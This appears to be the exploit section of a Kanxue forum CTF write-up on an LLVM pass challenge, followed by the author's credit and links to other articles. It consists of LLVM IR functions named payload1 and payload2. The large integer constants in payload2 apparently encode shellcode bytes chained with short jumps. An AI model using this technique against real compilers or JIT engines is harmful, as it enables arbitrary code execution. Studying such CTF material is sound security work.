; Function Attrs: noinline nounwind optnone uwtable
define dso_local i64 @payload1(i64 %0) #0 {
%2 = add nsw i64 %0, 58603
%3 = add nsw i64 %2, 1024
%4 = add nsw i64 %3, 1024
%5 = add nsw i64 %4, 1024
%6 = add nsw i64 %5, 1024
%7 = add nsw i64 %6, 1024
%8 = add nsw i64 %7, 1024
%9 = add nsw i64 %8, 1024
%10 = add nsw i64 %9, 1024
%11 = add nsw i64 %10, 1024
%12 = add nsw i64 %11, 1024
%13 = add nsw i64 %12, 1024
%14 = add nsw i64 %13, 1024
%15 = add nsw i64 %14, 1024
%16 = add nsw i64 %15, 1024
%17 = add nsw i64 %16, 1024
%18 = add nsw i64 %17, 1024
%19 = add nsw i64 %18, 1024
%20 = add nsw i64 %19, 1024
%21 = add nsw i64 %20, 1024
%22 = add nsw i64 %21, 1024
%23 = add nsw i64 %22, 1024
%24 = add nsw i64 %23, 1024
%25 = add nsw i64 %24, 1024
%26 = add nsw i64 %25, 1024
%27 = add nsw i64 %26, 1024
%28 = add nsw i64 %27, 1024
%29 = add nsw i64 %28, 1024
%30 = add nsw i64 %29, 1024
%31 = add nsw i64 %30, 1024
%32 = add nsw i64 %31, 1024
%33 = add nsw i64 %32, 1024
%34 = add nsw i64 %33, 1024
%35 = add nsw i64 %34, 1024
%36 = add nsw i64 %35, 1024
%37 = add nsw i64 %36, 1024
%38 = add nsw i64 %37, 1024
%39 = add nsw i64 %38, 1024
%40 = add nsw i64 %39, 1024
%41 = add nsw i64 %40, 1024
%42 = add nsw i64 %41, 1024
%43 = add nsw i64 %42, 1024
%44 = add nsw i64 %43, 1024
%45 = add nsw i64 %44, 1024
%46 = add nsw i64 %45, 1024
%47 = add nsw i64 %46, 1024
%48 = add nsw i64 %47, 1024
%49 = add nsw i64 %48, 1024
%50 = add nsw i64 %49, 1024
%51 = add nsw i64 %50, 1024
%52 = add nsw i64 %51, 1024
%53 = add nsw i64 %52, 1024
%54 = add nsw i64 %53, 1024
%55 = add nsw i64 %54, 1024
%56 = add nsw i64 %55, 1024
%57 = add nsw i64 %56, 1024
%58 = add nsw i64 %57, 1024
%59 = add nsw i64 %58, 1024
%60 = add nsw i64 %59, 1024
%61 = add nsw i64 %60, 1024
%62 = add nsw i64 %61, 1024
%63 = add nsw i64 %62, 1024
%64 = add nsw i64 %63, 1024
%65 = add nsw i64 %64, 1024
%66 = add nsw i64 %65, 1024
%67 = add nsw i64 %66, 1024
%68 = add nsw i64 %67, 1024
%69 = add nsw i64 %68, 1024
%70 = add nsw i64 %69, 1024
%71 = add nsw i64 %70, 1024
%72 = add nsw i64 %71, 1024
%73 = add nsw i64 %72, 1024
%74 = add nsw i64 %73, 1024
%75 = add nsw i64 %74, 1024
%76 = add nsw i64 %75, 1024
%77 = add nsw i64 %76, 1024
%78 = add nsw i64 %77, 1024
%79 = add nsw i64 %78, 1024
%80 = add nsw i64 %79, 1024
%81 = add nsw i64 %80, 1024
%82 = add nsw i64 %81, 1024
%83 = add nsw i64 %82, 1024
%84 = add nsw i64 %83, 1024
%85 = add nsw i64 %84, 1024
%86 = add nsw i64 %85, 1024
%87 = add nsw i64 %86, 1024
%88 = add nsw i64 %87, 1024
%89 = add nsw i64 %88, 1024
%90 = add nsw i64 %89, 1024
%91 = add nsw i64 %90, 1024
%92 = add nsw i64 %91, 1024
%93 = add nsw i64 %92, 1024
%94 = add nsw i64 %93, 1024
%95 = add nsw i64 %94, 1024
%96 = add nsw i64 %95, 1024
%97 = add nsw i64 %96, 1024
%98 = add nsw i64 %97, 1024
%99 = add nsw i64 %98, 1024
%100 = add nsw i64 %99, 1024
%101 = add nsw i64 %100, 1024
%102 = add nsw i64 %101, 1024
%103 = add nsw i64 %102, 1024
%104 = add nsw i64 %103, 1024
%105 = add nsw i64 %104, 1024
%106 = add nsw i64 %105, 1024
%107 = add nsw i64 %106, 1024
%108 = add nsw i64 %107, 1024
%109 = add nsw i64 %108, 1024
%110 = add nsw i64 %109, 1024
%111 = add nsw i64 %110, 1024
%112 = add nsw i64 %111, 1024
%113 = add nsw i64 %112, 1024
%114 = add nsw i64 %113, 1024
%115 = add nsw i64 %114, 1024
%116 = add nsw i64 %115, 1024
%117 = add nsw i64 %116, 1024
%118 = add nsw i64 %117, 1024
%119 = add nsw i64 %118, 1024
%120 = add nsw i64 %119, 1024
%121 = add nsw i64 %120, 1024
%122 = add nsw i64 %121, 1024
%123 = add nsw i64 %122, 1024
%124 = add nsw i64 %123, 1024
%125 = add nsw i64 %124, 1024
%126 = add nsw i64 %125, 1024
%127 = add nsw i64 %126, 1024
%128 = add nsw i64 %127, 1024
%129 = add nsw i64 %128, 1024
%130 = add nsw i64 %129, 1024
%131 = add nsw i64 %130, 1024
%132 = add nsw i64 %131, 1024
%133 = add nsw i64 %132, 1024
%134 = add nsw i64 %133, 1024
%135 = add nsw i64 %134, 1024
%136 = add nsw i64 %135, 1024
%137 = add nsw i64 %136, 1024
%138 = add nsw i64 %137, 1024
%139 = add nsw i64 %138, 1024
%140 = add nsw i64 %139, 1024
%141 = add nsw i64 %140, 1024
%142 = add nsw i64 %141, 1024
%143 = add nsw i64 %142, 1024
%144 = add nsw i64 %143, 1024
%145 = add nsw i64 %144, 1024
%146 = add nsw i64 %145, 1024
%147 = add nsw i64 %146, 1024
%148 = add nsw i64 %147, 1024
%149 = add nsw i64 %148, 1024
%150 = add nsw i64 %149, 1024
%151 = add nsw i64 %150, 1024
%152 = add nsw i64 %151, 1024
%153 = add nsw i64 %152, 1024
%154 = add nsw i64 %153, 1024
%155 = add nsw i64 %154, 1024
%156 = add nsw i64 %155, 1024
%157 = add nsw i64 %156, 1024
%158 = add nsw i64 %157, 1024
%159 = add nsw i64 %158, 1024
%160 = add nsw i64 %159, 1024
%161 = add nsw i64 %160, 1024
%162 = add nsw i64 %161, 1024
%163 = add nsw i64 %162, 1024
%164 = add nsw i64 %163, 1024
%165 = add nsw i64 %164, 1024
%166 = add nsw i64 %165, 1024
%167 = add nsw i64 %166, 1024
%168 = add nsw i64 %167, 1024
%169 = add nsw i64 %168, 1024
%170 = add nsw i64 %169, 1024
%171 = add nsw i64 %170, 1024
%172 = add nsw i64 %171, 1024
%173 = add nsw i64 %172, 1024
%174 = add nsw i64 %173, 1024
%175 = add nsw i64 %174, 1024
%176 = add nsw i64 %175, 1024
%177 = add nsw i64 %176, 1024
%178 = add nsw i64 %177, 1024
%179 = add nsw i64 %178, 1024
%180 = add nsw i64 %179, 1024
%181 = add nsw i64 %180, 1024
%182 = add nsw i64 %181, 1024
%183 = add nsw i64 %182, 1024
%184 = add nsw i64 %183, 1024
%185 = add nsw i64 %184, 1024
%186 = add nsw i64 %185, 1024
%187 = add nsw i64 %186, 1024
%188 = add nsw i64 %187, 1024
%189 = add nsw i64 %188, 1024
%190 = add nsw i64 %189, 1024
%191 = add nsw i64 %190, 1024
%192 = add nsw i64 %191, 1024
%193 = add nsw i64 %192, 1024
%194 = add nsw i64 %193, 1024
%195 = add nsw i64 %194, 1024
%196 = add nsw i64 %195, 1024
%197 = add nsw i64 %196, 1024
%198 = add nsw i64 %197, 1024
%199 = add nsw i64 %198, 1024
%200 = add nsw i64 %199, 1024
%201 = add nsw i64 %200, 1024
%202 = add nsw i64 %201, 1024
%203 = add nsw i64 %202, 1024
%204 = add nsw i64 %203, 1024
%205 = add nsw i64 %204, 1024
%206 = add nsw i64 %205, 1024
%207 = add nsw i64 %206, 1024
%208 = add nsw i64 %207, 1024
%209 = add nsw i64 %208, 1024
%210 = add nsw i64 %209, 1024
%211 = add nsw i64 %210, 1024
%212 = add nsw i64 %211, 1024
%213 = add nsw i64 %212, 1024
%214 = add nsw i64 %213, 1024
%215 = add nsw i64 %214, 1024
%216 = add nsw i64 %215, 1024
%217 = add nsw i64 %216, 1024
%218 = add nsw i64 %217, 1024
%219 = add nsw i64 %218, 1024
%220 = add nsw i64 %219, 1024
%221 = add nsw i64 %220, 1024
%222 = add nsw i64 %221, 1024
%223 = add nsw i64 %222, 1024
%224 = add nsw i64 %223, 1024
%225 = add nsw i64 %224, 1024
%226 = add nsw i64 %225, 1024
%227 = add nsw i64 %226, 1024
%228 = add nsw i64 %227, 1024
%229 = add nsw i64 %228, 1024
%230 = add nsw i64 %229, 1024
%231 = add nsw i64 %230, 1024
%232 = add nsw i64 %231, 1024
%233 = add nsw i64 %232, 1024
%234 = add nsw i64 %233, 1024
%235 = add nsw i64 %234, 1024
%236 = add nsw i64 %235, 1024
%237 = add nsw i64 %236, 1024
%238 = add nsw i64 %237, 1024
%239 = add nsw i64 %238, 1024
%240 = add nsw i64 %239, 1024
%241 = add nsw i64 %240, 1024
%242 = add nsw i64 %241, 1024
%243 = add nsw i64 %242, 1024
%244 = add nsw i64 %243, 1024
%245 = add nsw i64 %244, 1024
%246 = add nsw i64 %245, 1024
%247 = add nsw i64 %246, 1024
%248 = add nsw i64 %247, 1024
%249 = add nsw i64 %248, 1024
%250 = add nsw i64 %249, 1024
%251 = add nsw i64 %250, 1024
%252 = add nsw i64 %251, 1024
%253 = add nsw i64 %252, 1024
%254 = add nsw i64 %253, 1024
%255 = add nsw i64 %254, 1024
%256 = add nsw i64 %255, 1024
%257 = add nsw i64 %256, 1024
%258 = add nsw i64 %257, 1024
%259 = add nsw i64 %258, 1024
%260 = add nsw i64 %259, 1024
%261 = add nsw i64 %260, 1024
%262 = add nsw i64 %261, 1024
%263 = add nsw i64 %262, 1024
%264 = add nsw i64 %263, 1024
%265 = add nsw i64 %264, 1024
%266 = add nsw i64 %265, 1024
%267 = add nsw i64 %266, 1024
%268 = add nsw i64 %267, 1024
%269 = add nsw i64 %268, 1024
%270 = add nsw i64 %269, 1024
%271 = add nsw i64 %270, 1024
%272 = add nsw i64 %271, 1024
%273 = add nsw i64 %272, 1024
%274 = add nsw i64 %273, 1024
%275 = add nsw i64 %274, 1024
%276 = add nsw i64 %275, 1024
%277 = add nsw i64 %276, 1024
%278 = add nsw i64 %277, 1024
%279 = add nsw i64 %278, 1024
%280 = add nsw i64 %279, 1024
%281 = add nsw i64 %280, 1024
%282 = add nsw i64 %281, 1024
%283 = add nsw i64 %282, 1024
%284 = add nsw i64 %283, 1024
%285 = add nsw i64 %284, 1024
%286 = add nsw i64 %285, 1024
%287 = add nsw i64 %286, 1024
%288 = add nsw i64 %287, 1024
%289 = add nsw i64 %288, 1024
%290 = add nsw i64 %289, 1024
%291 = add nsw i64 %290, 1024
%292 = add nsw i64 %291, 1024
%293 = add nsw i64 %292, 1024
%294 = add nsw i64 %293, 1024
%295 = add nsw i64 %294, 1024
%296 = add nsw i64 %295, 1024
%297 = add nsw i64 %296, 1024
%298 = add nsw i64 %297, 1024
%299 = add nsw i64 %298, 1024
%300 = add nsw i64 %299, 1024
%301 = add nsw i64 %300, 1024
%302 = add nsw i64 %301, 1024
%303 = add nsw i64 %302, 1024
%304 = add nsw i64 %303, 1024
%305 = add nsw i64 %304, 1024
%306 = add nsw i64 %305, 1024
%307 = add nsw i64 %306, 1024
%308 = add nsw i64 %307, 1024
%309 = add nsw i64 %308, 1024
%310 = add nsw i64 %309, 1024
%311 = add nsw i64 %310, 1024
%312 = add nsw i64 %311, 1024
%313 = add nsw i64 %312, 1024
%314 = add nsw i64 %313, 1024
%315 = add nsw i64 %314, 1024
ret i64 %315
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i64 @payload2(i64 %0) #0 {
%2 = add nsw i64 %0, 1
%3 = add nsw i64 %2, 1
%4 = add nsw i64 %3, 1
%5 = add nsw i64 %4, 1
%6 = add nsw i64 %5, 1
%7 = add nsw i64 %6, 16999839996723556031
%8 = add nsw i64 %7, 16999840167007600968
%9 = add nsw i64 %8, 16999839549882511291
%10 = add nsw i64 %9, 16999840169020293448
%11 = add nsw i64 %10, 16999840169015152727
%12 = add nsw i64 %11, 16999840169015152724
%13 = add nsw i64 %12, 16999840169015152735
%14 = add nsw i64 %13, 16999840169021813064
%15 = add nsw i64 %14, 16999840169019453768
%16 = add nsw i64 %15, 16999840169015130986
%17 = add nsw i64 %16, 16999840169015152728
%18 = add nsw i64 %17, 16999840169015117071
%19 = add nsw i64 %18, 1024
%20 = add nsw i64 %19, 1024
%21 = add nsw i64 %20, 1024
%22 = add nsw i64 %21, 1024
%23 = add nsw i64 %22, 1024
%24 = add nsw i64 %23, 1024
%25 = add nsw i64 %24, 1024
%26 = add nsw i64 %25, 1024
%27 = add nsw i64 %26, 1024
%28 = add nsw i64 %27, 1024
%29 = add nsw i64 %28, 1024
%30 = add nsw i64 %29, 1024
%31 = add nsw i64 %30, 1024
%32 = add nsw i64 %31, 1024
%33 = add nsw i64 %32, 1024
%34 = add nsw i64 %33, 1024
%35 = add nsw i64 %34, 1024
%36 = add nsw i64 %35, 1024
%37 = add nsw i64 %36, 1024
%38 = add nsw i64 %37, 1024
%39 = add nsw i64 %38, 1024
%40 = add nsw i64 %39, 1024
%41 = add nsw i64 %40, 1024
%42 = add nsw i64 %41, 1024
%43 = add nsw i64 %42, 1024
%44 = add nsw i64 %43, 1024
%45 = add nsw i64 %44, 1024
%46 = add nsw i64 %45, 1024
%47 = add nsw i64 %46, 1024
%48 = add nsw i64 %47, 1024
%49 = add nsw i64 %48, 1024
%50 = add nsw i64 %49, 1024
%51 = add nsw i64 %50, 1024
%52 = add nsw i64 %51, 1024
%53 = add nsw i64 %52, 1024
%54 = add nsw i64 %53, 1024
%55 = add nsw i64 %54, 1024
%56 = add nsw i64 %55, 1024
%57 = add nsw i64 %56, 1024
%58 = add nsw i64 %57, 1024
%59 = add nsw i64 %58, 1024
%60 = add nsw i64 %59, 1024
%61 = add nsw i64 %60, 1024
%62 = add nsw i64 %61, 1024
%63 = add nsw i64 %62, 1024
%64 = add nsw i64 %63, 1024
%65 = add nsw i64 %64, 1024
%66 = add nsw i64 %65, 1024
%67 = add nsw i64 %66, 1024
%68 = add nsw i64 %67, 1024
%69 = add nsw i64 %68, 1024
%70 = add nsw i64 %69, 1024
%71 = add nsw i64 %70, 1024
%72 = add nsw i64 %71, 1024
%73 = add nsw i64 %72, 1024
%74 = add nsw i64 %73, 1024
%75 = add nsw i64 %74, 1024
%76 = add nsw i64 %75, 1024
%77 = add nsw i64 %76, 1024
%78 = add nsw i64 %77, 1024
%79 = add nsw i64 %78, 1024
%80 = add nsw i64 %79, 1024
%81 = add nsw i64 %80, 1024
%82 = add nsw i64 %81, 1024
%83 = add nsw i64 %82, 1024
%84 = add nsw i64 %83, 1024
%85 = add nsw i64 %84, 1024
%86 = add nsw i64 %85, 1024
%87 = add nsw i64 %86, 1024
%88 = add nsw i64 %87, 1024
%89 = add nsw i64 %88, 1024
%90 = add nsw i64 %89, 1024
%91 = add nsw i64 %90, 1024
%92 = add nsw i64 %91, 1024
%93 = add nsw i64 %92, 1024
%94 = add nsw i64 %93, 1024
%95 = add nsw i64 %94, 1024
%96 = add nsw i64 %95, 1024
%97 = add nsw i64 %96, 1024
%98 = add nsw i64 %97, 1024
%99 = add nsw i64 %98, 1024
%100 = add nsw i64 %99, 1024
%101 = add nsw i64 %100, 1024
%102 = add nsw i64 %101, 1024
%103 = add nsw i64 %102, 1024
%104 = add nsw i64 %103, 1024
%105 = add nsw i64 %104, 1024
%106 = add nsw i64 %105, 1024
%107 = add nsw i64 %106, 1024
%108 = add nsw i64 %107, 1024
%109 = add nsw i64 %108, 1024
%110 = add nsw i64 %109, 1024
%111 = add nsw i64 %110, 1024
%112 = add nsw i64 %111, 1024
%113 = add nsw i64 %112, 1024
%114 = add nsw i64 %113, 1024
%115 = add nsw i64 %114, 1024
%116 = add nsw i64 %115, 1024
%117 = add nsw i64 %116, 1024
%118 = add nsw i64 %117, 1024
%119 = add nsw i64 %118, 1024
%120 = add nsw i64 %119, 1024
%121 = add nsw i64 %120, 1024
%122 = add nsw i64 %121, 1024
%123 = add nsw i64 %122, 1024
%124 = add nsw i64 %123, 1024
%125 = add nsw i64 %124, 1024
%126 = add nsw i64 %125, 1024
%127 = add nsw i64 %126, 1024
%128 = add nsw i64 %127, 1024
%129 = add nsw i64 %128, 1024
%130 = add nsw i64 %129, 1024
%131 = add nsw i64 %130, 1024
%132 = add nsw i64 %131, 1024
%133 = add nsw i64 %132, 1024
%134 = add nsw i64 %133, 1024
%135 = add nsw i64 %134, 1024
%136 = add nsw i64 %135, 1024
%137 = add nsw i64 %136, 1024
%138 = add nsw i64 %137, 1024
%139 = add nsw i64 %138, 1024
%140 = add nsw i64 %139, 1024
%141 = add nsw i64 %140, 1024
%142 = add nsw i64 %141, 1024
%143 = add nsw i64 %142, 1024
%144 = add nsw i64 %143, 1024
%145 = add nsw i64 %144, 1024
%146 = add nsw i64 %145, 1024
%147 = add nsw i64 %146, 1024
%148 = add nsw i64 %147, 1024
%149 = add nsw i64 %148, 1024
%150 = add nsw i64 %149, 1024
%151 = add nsw i64 %150, 1024
%152 = add nsw i64 %151, 1024
%153 = add nsw i64 %152, 1024
%154 = add nsw i64 %153, 1024
%155 = add nsw i64 %154, 1024
%156 = add nsw i64 %155, 1024
%157 = add nsw i64 %156, 1024
%158 = add nsw i64 %157, 1024
%159 = add nsw i64 %158, 1024
%160 = add nsw i64 %159, 1024
%161 = add nsw i64 %160, 1024
%162 = add nsw i64 %161, 1024
%163 = add nsw i64 %162, 1024
%164 = add nsw i64 %163, 1024
%165 = add nsw i64 %164, 1024
%166 = add nsw i64 %165, 1024
%167 = add nsw i64 %166, 1024
%168 = add nsw i64 %167, 1024
%169 = add nsw i64 %168, 1024
%170 = add nsw i64 %169, 1024
%171 = add nsw i64 %170, 1024
%172 = add nsw i64 %171, 1024
%173 = add nsw i64 %172, 1024
%174 = add nsw i64 %173, 1024
%175 = add nsw i64 %174, 1024
%176 = add nsw i64 %175, 1024
%177 = add nsw i64 %176, 1024
%178 = add nsw i64 %177, 1024
%179 = add nsw i64 %178, 1024
%180 = add nsw i64 %179, 1024
%181 = add nsw i64 %180, 1024
%182 = add nsw i64 %181, 1024
%183 = add nsw i64 %182, 1024
%184 = add nsw i64 %183, 1024
%185 = add nsw i64 %184, 1024
%186 = add nsw i64 %185, 1024
%187 = add nsw i64 %186, 1024
%188 = add nsw i64 %187, 1024
%189 = add nsw i64 %188, 1024
%190 = add nsw i64 %189, 1024
%191 = add nsw i64 %190, 1024
%192 = add nsw i64 %191, 1024
%193 = add nsw i64 %192, 1024
%194 = add nsw i64 %193, 1024
%195 = add nsw i64 %194, 1024
%196 = add nsw i64 %195, 1024
%197 = add nsw i64 %196, 1024
%198 = add nsw i64 %197, 1024
%199 = add nsw i64 %198, 1024
%200 = add nsw i64 %199, 1024
%201 = add nsw i64 %200, 1024
%202 = add nsw i64 %201, 1024
%203 = add nsw i64 %202, 1024
%204 = add nsw i64 %203, 1024
%205 = add nsw i64 %204, 1024
%206 = add nsw i64 %205, 1024
%207 = add nsw i64 %206, 1024
%208 = add nsw i64 %207, 1024
%209 = add nsw i64 %208, 1024
%210 = add nsw i64 %209, 1024
%211 = add nsw i64 %210, 1024
%212 = add nsw i64 %211, 1024
%213 = add nsw i64 %212, 1024
%214 = add nsw i64 %213, 1024
%215 = add nsw i64 %214, 1024
%216 = add nsw i64 %215, 1024
%217 = add nsw i64 %216, 1024
%218 = add nsw i64 %217, 1024
%219 = add nsw i64 %218, 1024
%220 = add nsw i64 %219, 1024
%221 = add nsw i64 %220, 1024
%222 = add nsw i64 %221, 1024
%223 = add nsw i64 %222, 1024
%224 = add nsw i64 %223, 1024
%225 = add nsw i64 %224, 1024
%226 = add nsw i64 %225, 1024
%227 = add nsw i64 %226, 1024
%228 = add nsw i64 %227, 1024
%229 = add nsw i64 %228, 1024
%230 = add nsw i64 %229, 1024
%231 = add nsw i64 %230, 1024
%232 = add nsw i64 %231, 1024
%233 = add nsw i64 %232, 1024
%234 = add nsw i64 %233, 1024
%235 = add nsw i64 %234, 1024
%236 = add nsw i64 %235, 1024
%237 = add nsw i64 %236, 1024
%238 = add nsw i64 %237, 1024
%239 = add nsw i64 %238, 1024
%240 = add nsw i64 %239, 1024
%241 = add nsw i64 %240, 1024
%242 = add nsw i64 %241, 1024
%243 = add nsw i64 %242, 1024
%244 = add nsw i64 %243, 1024
%245 = add nsw i64 %244, 1024
%246 = add nsw i64 %245, 1024
%247 = add nsw i64 %246, 1024
%248 = add nsw i64 %247, 1024
%249 = add nsw i64 %248, 1024
%250 = add nsw i64 %249, 1024
%251 = add nsw i64 %250, 1024
%252 = add nsw i64 %251, 1024
%253 = add nsw i64 %252, 1024
%254 = add nsw i64 %253, 1024
%255 = add nsw i64 %254, 1024
%256 = add nsw i64 %255, 1024
%257 = add nsw i64 %256, 1024
%258 = add nsw i64 %257, 1024
%259 = add nsw i64 %258, 1024
%260 = add nsw i64 %259, 1024
%261 = add nsw i64 %260, 1024
%262 = add nsw i64 %261, 1024
%263 = add nsw i64 %262, 1024
%264 = add nsw i64 %263, 1024
%265 = add nsw i64 %264, 1024
%266 = add nsw i64 %265, 1024
%267 = add nsw i64 %266, 1024
%268 = add nsw i64 %267, 1024
%269 = add nsw i64 %268, 1024
%270 = add nsw i64 %269, 1024
%271 = add nsw i64 %270, 1024
%272 = add nsw i64 %271, 1024
%273 = add nsw i64 %272, 1024
%274 = add nsw i64 %273, 1024
%275 = add nsw i64 %274, 1024
%276 = add nsw i64 %275, 1024
%277 = add nsw i64 %276, 1024
%278 = add nsw i64 %277, 1024
%279 = add nsw i64 %278, 1024
%280 = add nsw i64 %279, 1024
%281 = add nsw i64 %280, 1024
%282 = add nsw i64 %281, 1024
%283 = add nsw i64 %282, 1024
%284 = add nsw i64 %283, 1024
%285 = add nsw i64 %284, 1024
%286 = add nsw i64 %285, 1024
%287 = add nsw i64 %286, 1024
%288 = add nsw i64 %287, 1024
%289 = add nsw i64 %288, 1024
%290 = add nsw i64 %289, 1024
%291 = add nsw i64 %290, 1024
%292 = add nsw i64 %291, 1024
%293 = add nsw i64 %292, 1024
%294 = add nsw i64 %293, 1024
%295 = add nsw i64 %294, 1024
%296 = add nsw i64 %295, 1024
%297 = add nsw i64 %296, 1024
%298 = add nsw i64 %297, 1024
%299 = add nsw i64 %298, 1024
%300 = add nsw i64 %299, 1024
%301 = add nsw i64 %300, 1024
%302 = add nsw i64 %301, 1024
%303 = add nsw i64 %302, 1024
%304 = add nsw i64 %303, 1024
%305 = add nsw i64 %304, 1024
%306 = add nsw i64 %305, 1024
%307 = add nsw i64 %306, 1024
%308 = add nsw i64 %307, 1024
%309 = add nsw i64 %308, 1024
%310 = add nsw i64 %309, 1024
%311 = add nsw i64 %310, 1024
%312 = add nsw i64 %311, 1024
%313 = add nsw i64 %312, 1024
%314 = add nsw i64 %313, 1024
%315 = add nsw i64 %314, 1024
%316 = add nsw i64 %315, 1024
%317 = add nsw i64 %316, 1024
%318 = add nsw i64 %317, 1024
ret i64 %318
}

attributes #0 = { noinline nounwind optnone uwtable "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"Ubuntu clang version 12.0.0-3ubuntu1~20.04.5"}

看雪ID:winmt

https://bbs.pediy.com/user-home-949925.htm

*本文由看雪論壇 winmt 原創,轉載請註明來自看雪社群

#

往期推薦

1. 四級分頁下的頁表自對映與基址隨機化原理介紹

2. Android 10屬性系統原理,檢測與定製原始碼反檢測

3. WhatsApp私信協議實現記錄

4. Android4.4和8.0 DexClassLoader載入流程分析之尋找脫殼點

5. 實戰DLL注入

6. 某車聯網APP加固分析

球分享

球點贊

球在看

點選“閱讀原文”,瞭解更多!